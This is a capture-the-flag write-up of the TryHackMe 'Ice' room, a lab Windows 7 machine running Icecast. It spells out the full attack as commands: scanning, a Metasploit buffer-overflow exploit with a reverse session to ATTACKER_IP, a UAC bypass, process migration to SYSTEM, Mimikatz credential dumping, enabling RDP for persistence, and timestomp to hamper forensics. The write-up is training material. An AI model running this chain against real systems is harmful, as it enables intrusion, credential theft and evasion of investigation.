Post

THM: Ice

THM: Ice

Banner

Windows 7 machine running vulnerable Icecast server. Exploit chain includes buffer overflow, UAC bypass, process migration, and credential dumping with Mimikatz.

Initial Enumeration

Port Scan

Running initial fast scan to identify open services:

1
sudo nmap -sS --min-rate=10000 -p- TARGET_IP

Service Version Detection

Scanning identified ports for service versions:

1
sudo nmap -T5 -A -p 135,139,445,3389,5357,8000 TARGET_IP

Results:

1
2
3
4
5
6
7
8
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1
                             microsoft-ds (workgroup: WORKGROUP)
3389/tcp closed ms-wbt-server reset ttl 126
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open  http          Icecast streaming media server

Critical Discovery: Port 8000 running Icecast streaming media server - CVE-2004-1561


Exploitation

Icecast Buffer Overflow

Icecast is vulnerable to a buffer overflow exploit that provides remote code execution.

Starting Metasploit and loading the exploit module:

1
2
3
4
5
msfconsole
use windows/http/icecast_header
set RHOSTS TARGET_IP
set LHOST ATTACKER_IP
exploit

Result: Meterpreter session opened with user-level access.


Privilege Escalation

Background Session and Enumerate Exploits

Backgrounding the meterpreter session to run local exploit suggester:

1
2
3
4
background
use multi/recon/local_exploit_suggester
set SESSION 1
run

UAC Bypass

Using the bypassuac_eventvwr module to escalate privileges:

1
2
3
4
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
set LHOST ATTACKER_IP
exploit

Verify Privileges

Checking current user context:

1
ps

Identified spoolsv.exe process running as SYSTEM.

Process Migration

Migrating to SYSTEM-level process:

1
migrate -N spoolsv.exe

Result: Now running as NT AUTHORITY\SYSTEM


Credential Dumping

Mimikatz

Using mimikatz to dump system credentials:

1
2
load kiwi
creds_all

Output: User Dark password obtained: Password01!


Persistence via RDP

Enabling RDP

If RDP is disabled, enable it using the metasploit module:

1
2
3
use windows/manage/enable_rdp
set SESSION 1
run

RDP Access

Authenticating via RDP with dumped credentials:

1
xfreerdp3 /u:Dark /p:Password01! /v:TARGET_IP /sec:rdp

System Information

Sysinfo Output:

1
2
3
4
5
6
7
Computer      : DARK-PC
OS            : Windows 7 (6.1 Build 7601, Service Pack 1)
Architecture  : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows

Notable Commands

CommandDescriptionWhere
timestompModifies timestamps of files on system to complicate forensicsMeterpreter
xfreerdp3 /u:Dark /p:Password01! /v:TARGET_IP /sec:rdpAuthenticate to an older rdp servicebash

Useful Modules

ModuleDescription
multi/recon/local_exploit_suggesterAutomates local exploit enumeration
exploit/windows/local/bypassuac_eventvwrBypass UAC
windows/manage/enable_rdpEnables RDP on target

Key Takeaways

  • Icecast CVE-2004-1561 is a critical vulnerability providing immediate code execution
  • local_exploit_suggester automates privilege escalation enumeration
  • Process migration to SYSTEM processes grants highest privileges
  • Mimikatz remains one of the most effective credential dumping tools on Windows
  • UAC bypass is often necessary before full privilege escalation on modern Windows
  • RDP access provides persistent GUI access for further enumeration

Room: IcePlatform: TryHackMeDifficulty: EasyCVE: CVE-2004-1561Root Method: Icecast Exploit → UAC Bypass → Process Migration
This post is licensed under CC BY 4.0 by the author.